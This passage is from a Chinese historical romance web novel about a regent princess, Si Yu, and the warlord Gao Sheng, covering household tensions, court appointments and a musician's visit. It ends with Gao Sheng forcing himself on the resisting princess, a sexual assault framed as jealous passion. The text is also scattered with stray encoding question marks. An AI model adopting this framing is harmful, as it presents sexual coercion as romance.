高盛一想也是,笑道:“行,你把饭菜端我房里?去,也给我送一份,我和你一起吃。” 王小桃有些迟疑,怕他追问自己刚才的事,但表叔每日繁忙,好不容易说和她一起吃饭,她是愿意的,便点头离去了,去准备饭菜。 没一会儿王小桃与丫鬟送了两份饭菜过来,与高盛同桌而食。 桌上仍有那份咸菜肉丝,她小心问:“表叔,京城贵人,是不是都不兴吃咸菜?加了肉也不行?” 高盛却是最?先夹咸菜,头也不抬道:“怎么不行,我觉得就?属这道菜最?好吃。” 王小桃问:“那不会显得寒酸吗?” 高盛看向她:“谁要嫌菜寒酸,就?别给他吃了,饿他三天,我看他还嫌不嫌寒酸。”说完问她:“今日有人嫌菜寒酸了?” 王小桃摇头:“没有,我就?是突然想起来。” 高盛多看她一眼?,没再逼问。 等?两人吃完,他道:“行了,和我出去坐坐。” 王小桃知道该来的总会来,表叔一定还要问刚才的事。 到了外边,高盛与她在一方石凳上坐下,问她:“我看你不是哭宋夫人,是哭宋之洵吧?” 王小桃没想到表叔没怀疑咸菜,却想偏到了这里?。 她否认:“没有,我真是为宋夫人。” “真没有吗?” 王小桃摇头。 高盛便道:“既没有,我给你再许个人家怎么样?你是还要宋之洵那样的,还是想要其?他模样的?” 王小桃生怕他去找个俊秀的名门公子,再逼人家娶她,便连忙摇头:“不要不要,我什?么人也不要,就?在家里?待着,和表叔一起。” “所以你还是想着宋之洵?”高盛道,“你想着他,却又放了他,这不是自寻苦吃么?” “这……他想走啊,我总不能真把他绑着。” “绑着又如何?总比你在家里?偷偷哭的好,你要愿意,我再派人去找他,将他带回来。”高盛说。 王小桃立刻否认:“表叔,我不愿意。”说到这里?,她想起一桩事,马上以攻为守道:“之前表叔伤重,李先生说等?表叔伤好,要表叔马上成亲,多生几?个孩子,表叔不是答应了吗?怎么现在又没了动静?” 高盛反问:“我答应了吗?” “不管答不答应,李先生说的对?,我也盼着表叔早日成亲。” 高盛看着她笑:“谁教你的,还学会以攻为守了?我不吃这一套,你若没想着宋之洵,那就?再和我说说想找什?么样的,我让人给你去找。” 王小桃抓着先前的突破口不放:“就?算我嫁人,也要表叔先娶妻,不是说长?幼有序吗?再说府上如今这么多人,我又没什?么能耐,有点操持不过来。” 高盛不想被她带着走,回道:“你还知道长?幼有序,哪有晚辈干涉长?辈婚事的?” 王小桃被堵了回来,琢磨片刻,问了一个困扰自己很久的问题:“表叔,你会和长?公主?成亲吗?” 高盛看着她意味深长?地笑,反问:“这么怕提起宋之洵,这么怕嫁人?连这种问题都想出来了。” “是有点怕,但也是真好奇……”王小桃道:“长?公主?好像快二十了,她好像也没有着急成亲的样子。” 高盛承认,自己还真被这小丫头问住了。 他不可能娶公主?,但如果她要嫁人,他也绝不愿意,保准会把那人杀了。 其?实最?好是他俩暂且好着,可她又不愿意,好像之前和他在一起是受了天大的委屈。 王小桃见他略有失神,又问:“还是说,表叔想找公主?那样的?” 高盛看她:“行了,你暂且不想嫁人就?算了,反正要迁都,一切等?迁都再说,你回去吧。” 王小桃知道他是不愿再被她追问长?公主?的事,她真想知道,奈何不敢挑衅表叔,便只好抓住机会离去了,免得表叔又提她嫁人的事。 第36章 第 36 章 第36章 司妤从前厅回房, 就听如缨提起后院的事:“刚刚如绵看见?王县君去给昌乐公主送饭,昌乐公主好像发脾气砸了菜碗,县君是哭着出来的。” “有这样的事?”司妤一听微皱了眉头。高盛可不是个?会忍耐的人, 之前以为她推王小桃下水, 几乎要杀了她,现在若是知道昌乐给王小桃气受, 还不知会怎样。 司妤便道:“去让昌乐来我这里一趟。” 吩咐完,没等?如缨出去,她自己就起身:“算了,还是我去找她吧。” 昌乐被屈继先劫掳, 本就郁结在心;离开皇宫,缩在这太尉府, 也让她委屈;自己这个?做姐姐若再?把她叫来训一顿, 难免让她更伤心。 她去找昌乐, 到昌乐房中,果然见?着昌乐坐在窗边垂泪, 一旁放着饭菜,也没动几口。 她问:“这是怎么了?” 宫女回答:“禀长公主, 今日早过了用膳时间,公主饿了,去厨房三催四请那边才送来饭菜, 却只有三个?菜,还有一道是咸菜, 那县君也百般推诿, 公主生气, 又拿她没办法,才委屈得?哭。” 司妤到昌乐面前, 叹了声?气,“死到临头,还在摆公主架子?。” 昌乐抬头,不服道:“姐姐为何这样说?” 司妤问:“当?初屈继先能劫你,你以为高盛就不能吗?他不是不能,他只是不想,他还在意名声?。但如果惹急了他,他不顾名声?了呢?” 昌乐想反驳,却发现自己无话可说。 司妤继续道:“王县君就是他最在意的人,你我都得?罪不起。更何况,若让高盛知道你曾推王县君落水……你是真没见?过他手起刀落,杀人如切菜么?” “我……”经屈继先之事,昌乐也知道这些武人蛮横起来什么也不顾,胆大?包天,最后低声?道:“我当?时又饿又气,又想起她那种人,竟抢了宋之洵,所以……” “我知道你委屈,你不甘,你接受不了这一切,但你得?先保住命。”司妤道:“若王小桃去找高盛哭诉,他动怒而杀你或是怎么你,我也毫无办法,还是你觉得?,皇上与?母后有办法阻止?” 昌乐垂泪,如果他们?有办法,就不会让她被屈继先凌辱了。 司妤知道她想起了不堪的过往,扶着她肩柔声?道:“先忍着,也许……以后会有希望,再?说你嫌咸菜不好,总不会是人家专门要给咸菜你吃,那证明人家自己就是吃咸菜的。如今宫室被烧,屈继先他们?劫了大?量钱粮跑了,军中要粮,百姓要粮,如此情形,若非你是公主,可能咸菜也没有吃的。” 昌乐回答:“我听姐姐的,以后尽量忍着就是。” “不是尽量,是一定,为你自己的性命。”司妤说。 昌乐哭着点头。 司妤叹息着从昌乐院中出来,走到花园附近,正好看见?王小桃与?高盛对着石桌而坐,不知在说着什么。 王小桃想必已?和高盛说了吧,而高盛又会如何对昌乐? 她在园中站了一会儿,正好高盛与?王小桃二人抬起头来,看到了她。 她想,昌乐如此,她总要过问,以免高盛越发被激怒,便往石桌旁走去。 高盛此时看见?司妤从远处走来,脑子?里还回荡着小桃刚才的问话:他会和长公主成亲吗? 会不会不知道,多半是不会,但他想象不出他将来的妻子?是什么样子?,可如果她做他妻子?的话…… 那可真不错。 王小桃已?经起身朝司妤行礼:“长公主。” 高盛也该行礼,但他想着别的,坐着没动。 不知怎么,王小桃突然觉得?自己在这儿有些多余,她不懂朝廷的事,她只知道长公主和表叔是那种关系,便马上朝两人道:“我还在学针线活,公主,表叔,我就先告退了。” “好好学。”高盛说。 王小桃很快退下了。 司妤看她面色如常,脚步轻快,倒一点都不像是刚和高盛诉过委屈的样子?。 高盛问:“公主何事?” 他既如此问,司妤便知王小桃竟没和他哭诉,一时意外?,随后道:“有些事想同太尉商议商议。” 高盛从石凳上起身,一边往花园中走,一边问她:“公主但说无妨。” 司妤见?他心情似乎还不错,与?他一同走着,回道:“近来,常有西凉军在城中横行霸道的传言,譬如去酒楼强行赊账,去妓馆酒后闹事,或是如地痞一样去找商家索要钱财,因牵涉军中,京兆府不好过问,便告到我这里来,我想,太尉是不是可以下令加强军纪,以妨事情越发难以收拾。” 高盛问她:“公主可知安朝烈为何纵兵烧杀抢掠?” “因他军纪涣散?” “不,因他想犒赏军士,攻城之初,他就告诉军士,城中有粮,有钱,有女人,进了京城,什么都有了,所以下面的兵才肯卖命。西凉军已?是军纪最严明的一支军队,若是酒也不让喝,妓馆也不让去,那与?和尚有什么分别?” 司妤站定,和他道:“太尉自认西凉军比安朝烈军士好得?多,可我却觉得?太尉不该和安朝烈比,因安朝烈是反贼,西凉军是朝廷的官兵。如果朝廷官兵也和匪徒一样,那百姓为何要听命于朝廷?” 高盛暂且沉默。 司妤说的很有道理,却是十分理想的状态:士兵军纪严明,百姓民心所向。但事实却是你有好处,士兵才为你卖命,没好处,士兵便如鸟兽散,没等?民心有反应,仗已?一败涂地。 后来他想明白,因为她当?这天下是司家的天下,所以百姓也是司家的子?民,京城也是司家的京城;而安朝烈,或是他,都当军队是自家的,天下是别家的。 他看向司妤:“公主说得?对,就依公主所言。” 司妤意外?,没想到他这么好说话,怔了一下才说:“那士兵扰民一事,就全赖太尉出手惩治了。” “公主看着十分意外??”他问。 司妤沉吟片刻:“我以为太尉会恼怒。” 高盛看着她笑:“公主总讥讽我读书少,但我毕竟还知道‘民为贵,君为轻,社稷次之’。” 这是他昨日刚学来的话,自觉非常有水平,此时是存心卖弄。 话音落,一阵风吹来,眼见?一朵紫薇花落到了司妤头上,高盛下意识就去帮她捡,司妤却后退一步,朝他面露疑惑:“太尉?” 同时也带着疏离和戒备。 高盛只得?收回手,说道:“公主头上落了一片花。” 司妤伸手摸了摸,将花拿掉。 “太尉乃当?世名将,一代英豪,我怎会讥讽太尉?我心中感念太尉为江山社稷之心,欣慰感激还来不及。”她温声?说。 的确态度诚恳,但这一大?串都是场面话,高盛心中很气闷。 司妤道:“若太尉无事,我便先回去了。” 高盛没说话,她转身离去了。 他在后面看她的身影,心想女人还真是无情无义?,穿起衣服来不认人。 第二日司妤得?空,特?地召来了王小桃,赏了她一堆精美?的五色丝线。 “宫中被黄承训洗劫了一通,又着火,没留下什么东西,好在这些线还在。昨日听闻县君要做针线,正好赐与?县君。”司妤说。 王小桃看了一眼那些丝线,真是好,竟有红黄绿蓝紫五色,那样绚丽,那样散发着光泽,隔好远就能看见?,难怪公主衣裙上绣的花那么光亮好看。 但她不敢受,马上回道:“这么好的丝线,给臣女怕糟践了,臣女的针线活……很差。” 她说得?不好意思,因为穷苦人家一年可见?不着几块布,缝衣服还行,但这些线明显是做绣活的,她才刚学。 司妤道:“你收着吧,是我的一番心意。我与?昌乐公主在此,全赖你操持,昌乐自小娇生惯养,性情未免跋扈,不知民间疾苦,对你多有苛责,你受了委屈,却将委屈咽下,我替昌乐多谢你。” 王小桃十分意外?,公主竟和她说这番话,她很快道:“也怪我不懂京中的规矩,不懂宫里的规矩,所以才会怠慢公主……” “如今乱世,公主与?百姓都朝不保夕,哪里有那么多规矩?”司妤说。 她生得?美?,端坐在那里就让人挪不开目光,说话也慢,平静舒缓,王小桃听她说这些话,心中无比熨帖,原来有的那点委屈早已?消散了,只觉得?自己脾气大?。 如缨将那几团彩线放在一只笸箩里交给王小桃。 看着这艳丽无比的彩线,王小桃又想起自己曾怀疑长公主推自己落水,不禁暗暗责怪自己糊涂,长公主绝不会是这种人。她还将此事告诉表叔,也不知表叔有没有真的来质问长公主,应该没有吧,要不然长公主此时还能对她和颜悦色? 此时有太监进来道:“禀公主,梅先生到了。” 司妤眼睛一亮,点头道:“快召。” 王小桃赶忙道:“多谢公主,那臣女先退下了。” 司妤颔首:“我身边的如缨擅针线,你学女红若有不懂的,可以问问她。” “是,谢公主。”王小桃拿着丝线退下,到院中,正好见?到由太监领进来的一名年轻男子?。 这男子?身材修长,头上以蓝发带束着发,一身雪白宽袖长衫搭着湖蓝半袖衫,竟让人眼前一亮,晃如天人,王小桃忍不住看了这人一眼,却正好对上他璀璨如日月的笑容,随即干脆而又得?体地朝她施了一礼。 王小桃赶紧用京中闺秀的礼仪回礼,只与?他擦身而过。 难道这就是之前太监向公主禀报的“梅先生”? 这么年轻,竟被称为“先生”? 王小桃有些不解,不过不可否认,这公子?长得?可真好看,还十分懂礼,看着就出身不凡的样子?。 后来王小桃又听人提起这位梅先生,他虽只有二十出头,却是荥阳名士,擅音律雅乐,经严淮推举于长公主,长公主封其为太乐令,主持迁都后的定都大?礼之奏乐。 丫鬟们?乐于提起他,因为他长相姿仪实在出众,又常出入太尉府面见?公主,丫鬟们?偶尔运气好,便能看见?。 王小桃很少加入这种讨论,自从宋之洵过后,她就知道他们?这种名门公子?是极其清高的,他就算表现得?彬彬有礼,但其实平民出身的她们?在他眼里只是一粒尘埃。 她不知道宋之洵去了哪里,又是否已?经另外?娶妻……她手上还留着两人的婚书,也不知道要怎么处置才好。 …… 迁都在即,已?有人快马奔赴西昌准备,京城这边也时刻不得?闲,因此司妤极少得?空去拜见?太后与?皇上,没想到过几日,太后却传令召见?。 司妤此时才想起自己多有懈怠失礼,连忙去往太后所住房中。 长乐宫被烧了,太后此时所住的房子?也不过三间大?,有一方小院,十分局促。 司妤见?过太后,对这些日子?的疏忽表达惭愧,太后倒是并?不生气,只说道:“皇上年幼,哀家又不顶用,要不是有你,还不知会怎样。” 司妤向来知道母后温善,对自己也体谅,便马上道:“母后不必这样说,都是我该做的,西昌已?在扩建行宫,到了西昌,一切都会好起来。” 太后点头,随后道:“听闻现在朝中有许多空缺,你与?高盛都四处招贤纳士,以充任各处官员?” 司即回答:“是。” “那为何你舅舅家、姨母家,都不曾有一官半职?你舅舅不在了,总该给你表哥封个?爵,或是禁军职位才是,还有这太乐令一职,我听闻新的太乐令只有二十出头,而你二姨父,不是颇通音律么,为何不能让他来做?”太后问。 司即说不出此刻的心情,她没想到皇宫烧了,他们?这一群人寄居太尉府,她垂帘听政,因为怕露怯、怕不通政事被高盛与?朝臣看不起,不得?不日以继夜读书、学习理政,与?一群武将或是老臣周旋,因此好久没见?到母后,而母后见?她第一件事,竟是替亲人讨官。 诚然,母后的亲人就是她的亲人,毫无差别,但是……为什么这种时候,母后想到的是这些呢? 她平静地解释:“舅舅带着表哥一同讨伐京师,可舅舅被杀了,表哥身为人子?,竟带着人逃命了,头也不回,一路逃到宣州老家…… “母后,但凡他喊一句要杀安朝烈替父报仇,或是在我们?反攻安朝烈时带兵援助,我也能给他封赏,可他如此,我又以什么理由来封赏他?难道封个?闲职将他养着么?”司妤痛声?道:“母后,就连我们?也只能暂住太尉府节衣缩食,如此危难关头,实在顾不上他。” 太后欲言又止,最后大?约是不知能说什么,叹了声?气。 司妤又道:“再?说二姨父,他确实能弹琴,但太乐令不是只要会弹琴,还要懂祭祀之礼,懂雅乐,有名望,是要真能主持宫宴礼乐的,定都这样重要的事,万一乐礼出错,不只是二姨父,皇室与?朝廷也是颜面尽失!” 太后不擅争辩,也因性情懦弱而露出无奈,却在迟疑之后仍是说道:“就算不能做这些大?官,做些小官总行吧,他们?总归是自己人,你是不知,他们?求到哀家面前来,哀家都不知如何应对。” “母后只说是我不允就好了。”司妤干脆道。 “你……”太后又长长叹了声?气,哀怨道:“就连一个?小官职都不能答应么?你三舅学问好,是不是可以让他进宫来给皇上做老师呢?如此不近人情,总会让人说我们?凉薄。” 司妤觉得?自己之前的解释算是白费口舌了,难道给皇上做老师就是什么人人都能做的事吗?那可是帝师,关系到皇上的成长,而司家天下的未来,不是系于皇上一身吗? 司妤久久没说话,但大?概是她的态度已?从神色上显露出来,太后痛声?道:“你既不愿意,那就罢了,只当?我多嘴了。”说完,眼中已?湿润。 司妤想说什么,却又觉得?没什么好说的,最后只能向母后告退,这场交谈算是不欢而散。 她知道母后虽然不说,但心里多半是不高兴的,而她呢?她又何尝好受? 第37章 第 37 章 从太后院中回来, 宫人来报,梅先生在?外求见。 司即才想起是她召见的梅棠,便让人快请。 梅棠过来拜见, 司妤朝他道?:“梅先生看?这琴。” 她说完, 如缨将面前的琴匣打开。 梅棠一见那琴,大吃一惊, 上前看?了一眼,大喜道?:“是凤鸣!” 司妤道?:“梅先生眼力好,这琴原本是端仁皇后留给我的,到现在?, 我已有许久没?碰了,日后大概也不会有闲暇, 便赠给先生, 如此也不会埋没?了这琴。” 梅棠立刻道?:“既是端仁皇后遗物, 臣也听闻公主?钟爱琴,如此好琴, 为何要相?赠?” “正?因是好琴,才要赠识琴之人。”司妤说, “见了先生,便觉此琴可以相?托。” 梅棠摇摇头:“臣虽爱琴,却不愿夺人所爱, 公主?不如弹一曲,若臣觉得公主?辜负了这琴, 自会收下?。” 很久没?看?到这么耿直的人了, 司妤笑了笑, 摇头道?:“如今俗事缠身?,早没?有心思弹了。” 梅棠说道?:“正?因俗事缠身?, 才要弹,先人造出器乐便是为陶冶情操,修身?养性,公主?忙于政务,难免身?体乏累、心中郁结,此时便要抚一抚琴,弹上一曲,心旷神怡,烦恼尽抛,这样不好吗?” 司妤无法应对,停了一会儿,点头道?:“我试一试。” 说完正?要让人拿琴架来,梅棠道?:“今日风轻云淡,阳光明媚,我见园中有座水榭,公主?不如去那里弹,琴声于水中回响,更是一番意趣。” 司妤无奈笑笑,依他所言,从房中出去,到了外面的水榭上。 丫鬟将琴架搬了过来,她坐在?琴前,凝思片刻,开始抚动琴这经年未动的琴弦。 高盛从外院进来,就被王小桃截住,王小桃拿着件衣服,和他道?:“表叔,昨晚你?回得晚,今天?又起得早,我等了你?好久。” 高盛一边往房中去,一边回:“你?等我做什么?” “我给你?做了件衣服。”王小桃说。 高盛笑了笑:“你?给我做什么衣服,我又不是没?衣服。” “你?哪里有衣服,回回来来都?是那两件,还都?是黑的,像是同一件。” 一边说着,王小桃随他进了房,将衣服给他道?:“表叔你?快试试,不合适我再去改。” 高盛将那衣服看?了一眼,推拒道?:“还是算了,你?给其他人试试。” 王小桃有些受伤:“我专门?替表叔做的,上面还绣了花呢,虽然不太好,但也绣了好久,用的可是宫里的丝线,长公主?给我的,表叔就试试嘛。” 高盛反问:“她给你?丝线做什么?” “就是……说府上事都?是我在?操持,见我辛劳,就赐我了。” 高盛又将那衣服看?了眼:“这颜色也太鲜了,你?怎么不给自己做,我一个大男人穿这么鲜做什么?” 王小桃挑的颜色是那种比墨绿浅一点、比草绿深一点的青绿色,并不是大红大紫,不服道?:“这怎么鲜了,我做的是半袖衫,人家说江南特别时兴穿这个,我上次见那个梅先生就穿的这个,他那个颜色更鲜呢,是湖蓝色,配白色的长衫,尤其好看?,我就是知道?表叔不爱浅色,才用的这个色。” 一听“梅先生”,高盛不屑地一笑:“就那弹琴唱曲的梅棠?成天?穿得比姑娘还花花绿绿的,我为何要学他?” “可是真的很好看?啊,表叔长得不比他差,就是从不注意这些。”王小桃说。 当然,现在?表叔脖颈上有条细细的疤,看?着怪吓人的,但远了看?还好,看?不出来。 高盛笑着摇头:“我又不是小姑娘,又不弹琴唱曲,要好看?做什么?” 看?他这样子,是真的很排斥穿得鲜亮好看?,王小桃觉得很挫败,抱着衣服半天?,辨解道?:“可是……好看?点不好吗?” 两人正?僵持着,外面传来一阵琴声。 高盛皱了眉头:“这是谁,大中午的。” 王小桃听了一会儿,“是有人在?弹琴吗?挺好听的,好像是长公主?那边传来的。” 她一说,高盛想了起来,就府上这些人,他觉得别人也不太像会弹琴的,也就司妤还有几分?可能。 王小桃说回衣服:“表叔,这衣服做都?做了,你?就试试嘛。”她一边将衣服放下?:“我去看?看?是谁在?弹琴。”说着出去了。 高盛也没去试衣服,随她一道?出去了。 两人沿着琴声走向司妤院子附近,就在?湖心水榭上看?到人。 弹琴的是司妤,端正?坐在?水榭内,一身?杏色裙子,抚着琴弦,微风吹动她的发丝,如此美……梅棠就站在她身前,面水而立,闭目听着琴音。 就在王小桃两人在岸边站定时,梅棠拔出腰侧配剑,开始伴着琴音舞剑。 他身?姿修长,剑舞飘逸,让王小桃看?得出神,许久才喃喃道?:“他们……好像一对仙人啊……” 一对不染红尘的世外仙侣。 高盛原本是十分?看?不上一个男人抚琴弄箫的,所以对这所谓的荥阳名士从没?放在?心上,但他也不得不承认此情此景确实好看?。 最重要是他意识到一个问题,女人都?喜欢他这号男人。 出身?名门?,读点书,成天?打扮得比小姑娘还干净精细,宋之洵是这样,小桃和长公主?都?喜欢,现在?来了个梅棠,小桃觉得好看?,司妤当然也觉得好看?。 仙人,仙个屁的人,仙人不怕死,不用吃饭,长公主?也不用吃饭吗?迁都?在?即,别的事不干,竟还弹起琴来了。 高盛在?心里对司妤十分?不满,她原本不是这样的,现在?只能理解是被美色所惑。 呵……永远就喜欢这种小白脸。 司妤一曲毕,梅棠的剑舞也停了下?来,转过头来看?向她道?:“只闻公主?会琴,却不知公主?之琴艺如此精妙,此琴当配公主?,臣不会收。” 司妤这么久不碰琴,能听到一个乐曲名士如此高的肯定与赞美,说不高兴是假的,她忍不住笑:“先生的舞剑更好,刚劲中不失轻灵,如水间一只孤鹤,有失落悲戚之感,却又十分?好看?。” 梅棠回道?:“臣便是觉得公主?琴音中有孤独悲戚之色,才舞的这剑。” 司妤不禁惊叹,她弹的是普通的《秋水》,不是什么悲伤的曲调,没?想到竟被他听了出来。 梅棠问:“公主?因何事而心怀郁结,觉得失落孤独?” 司妤叹息一声,但心事却无法言说。 她没?办法告诉他,她只觉得殚精竭虑,而身?边最亲近的人也无法述说,甚至妹妹要因为吃食就乱发脾气,她要安抚;母后身?为太后,却要在?这种关头给家里不成器的人封官,她觉得……失望…… 是的,失望,她忍不住会想,如果?母后聪慧刚硬一些,以她太后的身?份,必定轻而易举镇住朝臣;昌乐年幼,但论沉稳踏实,她连乡野出身?的长庆县君都?不如。 梅棠看?懂了她的心情,但这种宫廷秘事,她却不能说。 她回道?:“江山动荡,战乱不止,所以心怀郁结;又想到先帝已驾崩,皇上又年幼,江山无所寄托,所以失落。” 梅堂看?着她,低低叹道?:“公主?之坚毅,男子也少?有能匹及。” 司妤抚琴无语。 梅棠道?:“明日臣欲往南山拜访翠虚散人请教雅乐,公主?可愿一同前往?” 司妤重复道?:“翠虚散人?”末了,轻轻道?:“我知道?他。” 梅棠此时也想了起来:“听闻,他曾给端仁皇后相?面,称其贵不可言,却是薄命之人?” 司妤点头。 翠虚散人出于太原王氏,未出家时曾任太祝令,通音律与相?卜,那时郭家请翠虚散人替家中长女、也就是司妤的母亲相?面,翠虚散人便给出了那样的结论。 郭家是名门?望族,长女面容姣好又性情温顺聪慧,早已是内定的皇后,说贵不可言本就是理所当然之事,但说薄命,却让郭家心惊胆战。 郭家当时不高兴,但后来积极培养次女,等到长女果?真病故,立刻就安排了次女进宫,显然是听进了这相?术师的话,提早做了准备。 “那公主?可愿与臣一道?过去?”梅棠说,“南山瀑布清雅秀丽,很值得一观;翠虚散人擅音律,懂雅乐,公主?或许也能与他论琴;再说,朝廷将迁往西昌,此时不去,以后更不会去了,不可惜么?” 他的确很会说服人,司妤动心了,却还是摇头:“南山就算近,却也在?郊外,过去未免劳师动众,翠虚散人既然隐居山中,自是为了逃离尘俗,我过去也打扰了他。” “何必带仪仗随从?就臣与公主?去,臣的剑可不只会起舞,也能杀人。”梅棠说完,飞掠而过,一剑挥出,银光从旁边伸到水面的海棠花前闪过,待他缓缓收回剑,那剑尖已躺着一枝海棠花。 他那将海棠拿起,送到司妤面前。 司妤缓缓伸手接了那花,笑道?:“先生剑术果?真精妙,既然先生敢夸这海口,我便去一趟。” 她突然想让翠虚散人替她算一算大兴的气数,她太需要鼓舞,想看?她如今所做的一切是不是徒劳。 高盛与王小桃这边听不到他们说了什么,只知他们相?谈甚欢,梅棠还舞了一把剑,那剑势凌厉,最后却能削下?一只花来赠与公主?,公主?接了那花,看?着十分?欢喜。 碧湖,水榭,美人,公子,琴,舞,还有剑……看?着这些,王小桃心中涌起一种说不出的欢喜,这一幕,满足了她对爱情的所有想象。 她身?边都?是舞刀弄剑的人,表叔之威猛更是威震天?下?,但先前提起刀剑,她想的就是战场、鲜血、滚落在?地的人头,却从来没?想到一把剑可以舞得那么好看?,也没?想到一把剑能做这么美、这么风雅的事。 王小桃还在?看?着,高盛已经不屑地轻哼一声,回屋去了。 见他回去,王小桃也恋恋不舍地回屋,高盛却死活不要她新做的衣服,让她满腹委屈地拿着衣服回去了。 高盛不知司妤与梅棠在?水榭里说了什么,以为他们在?谈什么琴啊舞的东西,结果?第二天?,司妤不见了。 他原本还不知道?,因有事找她才去了一趟,结果?竟知她不在?府上,身?边宫女支支吾吾,逼问之下?才得知是和梅棠一同去南山拜访什么和尚还是道?士去了,竟是私自离去,身?边没?带一人。 高盛气得火冒三?丈,对着如缨等人呵斥道?:“你?们还真是不知天?高地厚,怎知这梅棠不会有异心?怎知那南山没?有埋伏?司妤这是被个小白脸蛊惑了,是疯了?” 他说的的确对,但直呼长公主?的名讳,还称朝中大臣是小白脸,甚至隐含对两人的诽谤,如缨开口辩驳道?:“还请太尉慎言,公主?自有安排,不必他人多言。” 高盛不想和几个小宫女一般见识,重哼一声,怒气冲冲走了。 回到房中,正?好过来见他的陈滔问他何事,他欲说,却想了想,又停下?了。 说长公主?就和梅棠两人去了南山吗? 那又有什么呢,他们真出了什么意外,反而对他有好处不是么?这样司家只剩个懦弱的太后和没?成年的皇上,一切就都?由?他说了算。 这是好事才对。 所以这不是他发怒的理由?,他就不该发怒。 他道?:“长公主?没?带侍卫就出去了,觉得是个了结她的好机会,可我不知她从哪条路走。” 陈滔纳闷地“啊”了一声,最后道?:“此事还是要慎重吧,在?京中杀长公主?,万一走漏消息,于太尉不利,再说如今太尉与长公主?不是已经讲和吗?公主?若有意外,属下?恐怕事情又会生变。” 高盛答得敷衍:“你?说得对。” 陈滔觉得他样子怪怪的,不由?又将自己的想法表达一遍,表示自己觉得现在?的状态是对西凉军有利的,他不赞同此时杀公主?,听到高盛一再说刚才是冲动了,他已放弃杀公主?的想法,陈滔才放下?心来。 只是他不明白,太尉之前好好的,连大难不死都?没?说马上复仇,怎么这会儿突然又想杀公主?了? 直到陈滔离开,高盛还在?考虑自己发怒的来由?,后来他想明白了,他气的是她时刻与他疏远,现在?却迷恋上了个会弹琴跳舞的小白脸。 等同于,他的女人,给他戴了绿帽子。 第38章 第 38 章 到下午, 司妤没回来。 日落西山,司妤还?没回来。 欧阳策等人已?秘密去找,但天已?黑, 南山还?在?城郊, 又要上山,不知什么时候才能找到人。 高盛第一次整夜睡不着。 他不知道那两人在?做什么, 她不会真的宠幸那小白脸吧? 也许事情没那么糟,也许是?姓梅的有异心,她已?在?山上遇险。 不,这就更糟了?, 要她死,他是?舍不得的, 更何况陈滔说得对, 她现在?死了?对他也没好处。 不对, 为什么他要想到她会死?他没有这种?预感,心里想得更多的是?他们逗留山上, 她一时受蛊惑,宠幸了?那姓梅的。 所以一时间, 他竟不知是?该盼着那梅棠是?有异心,还?是?有贼心。 直到下半夜,时值四更, 终于回来两名禁卫军,告诉他一切安好, 公主与?梅先?生只是?见天色已?晚, 怕下山危险, 就决定在?山上留宿一晚,欧阳策带人过?去时, 两人都已?歇息,欧阳策便不敢吵醒二人,承诺天亮定将公主安全带回府上。 高盛差点就问,他们是?睡在?一起,还?是?分开睡着。 但这话实在?太直白,有失身份,他没能问出口?。 时间过?得如此煎熬,直到正午,终于有人来报,公主平安归来了?。 高盛起身就往她院中去。 到屋外?,却被拦住,宫女道:“太尉,公主正在?沐浴,太尉不如先?回房中歇着,奴婢稍候去禀报,待公主得闲,自会召见。” 高盛道:“你现在?便去禀报,我在?此等着。” 宫女也不敢惹他,低着头就去了?。 司妤还?在?浴桶内,不期然听见宫女说太尉正在?屋外?候着。 她回道:“你说我正忙着,让他稍候再来。” “说了?,太尉不听,要奴婢即刻来禀报。”宫女小声说。 司妤知道他仍然是?跋扈的,从来不守什么君臣之礼,心中不悦,冷声道:“那就让他慢慢候着吧。” 她爱干净,原本沐浴总要半个时辰的,但自从听政,时间不够用,便不能这么奢侈了?,做事都快了?许多,沐浴也是?,没一会儿也就起来了?。 担心有什么要紧的政事,她只换上衣服,没等头发干就让人召见高盛。 头发没干,不好梳发,再说梳发也要好久,因仪容不整,她便坐在?内室,让人将珠帘放了?下来,隔着珠帘召见高盛。 高盛到房中,看?着面前这道放下的帘子?,心里的火气又旺了?几分。 突然想问她:“公主知道自己屁股上有一颗小红痣吗?不巧,臣知道。” 弄得好像她哪儿他没见过?似的。 但很明显这话是?挑衅,会惹她生气,他也就忍住了?。 司妤在?里面端正又严肃地问:“太尉有何事?” 高盛道:“西昌送来的各项事务进展奏报,以及账单,请公主过?目。” 这的确是?重?要的事,司妤让人呈上来。 一大摞文书,司妤翻看?了?一会,只觉有些困顿,轻轻打了?个哈欠。 昨日上山,她体力差了?些,日落西山才到山上,去见翠虚散人,他却去采药,她与?梅棠等到夜里才见着人。 最后梅棠向他请教雅乐,他倾囊相授;她问他国运,翠虚散人说国运昌隆,会转危为安;还?说可帮她相面,她便让翠虚散人相了?,结果翠虚散人告诉她,她此生富贵荣华,夫妻恩爱,生活美满,老来儿孙满堂,有二子?一女送终。 末了?,又说他想在?南山造三清祖师石像,苦于清贫无?钱财,请公主赏赐些香火钱。 司妤十分不悦,勉强答应赏赐一百两银子?。这对公主来说,实属小气,但她也顾不上了?。 她没想到短短数十年,一个人变化能如此之快,当年翠虚散人以刚直闻名,替人相卜,无?论好坏,绝无?隐瞒,甚至敢说未来皇后薄命,但现在?老了?,却什么都敢编,编国运昌盛也就罢了?,她愿意去信,竟还?能编她夫妻恩爱,儿孙满堂。 早知道她就不会上南山,也不会为了?等翠虚散人推演国运等那么晚,今日急着回城,天未亮就起了?,大半日都是?赶路,不看?字还?好,一看?字困意就上来了?。 她想如此也看?不了?什么,不如去睡两个时辰等人清醒一些再看?。 便朝高盛道:“太尉先?下去吧,待我看?完了?再召见太尉。” 高盛却突然上前,一把?掀起珠帘,看?向她。 司妤正在哈欠中捂着唇,此时将手放下来,正色道:“太尉?” 高盛仍撩着珠帘:“公主昨夜没睡好?” 司妤不想和他说自己的私事,放下手上文书,欲站起身,但昨日爬了?一天山,今早腿酸得要命,连站起来都差点站不稳,不由?扶上旁边桌子?。 高盛见状,过?来扶她。 她即刻收回胳膊,说道:“太尉先?下去吧。” 高盛嗤声一笑:“怎么,公主玉体,梅棠那乐伶碰得,我便碰不得?” 司妤肃色看?向他:“太尉,梅先?生是?朝廷太乐令,不是?乐伶,太尉身为人臣,当谨言慎行。” 高盛冷笑:“老子?没读过?书,听不懂什么叫谨言慎行。”说完就一把?将她搂住,往前几步,轻而易举将她按倒在?床,一边掰起她腿,一边吻过?来。 司妤没想到他会突然疯起来,可她这次手上却没匕首,死命挣扎不过?,厉声道:“高盛,你真要与?我兵刃相见,争个你死我活?” 高盛看?向她:“我没有要与?公主你死我活,我只想与?公主春宵一刻,既然公主与?那梅棠可以,怎么就和我不行呢?公主以前可没少夸我威猛无?敌呢。”说完继续去弄她。 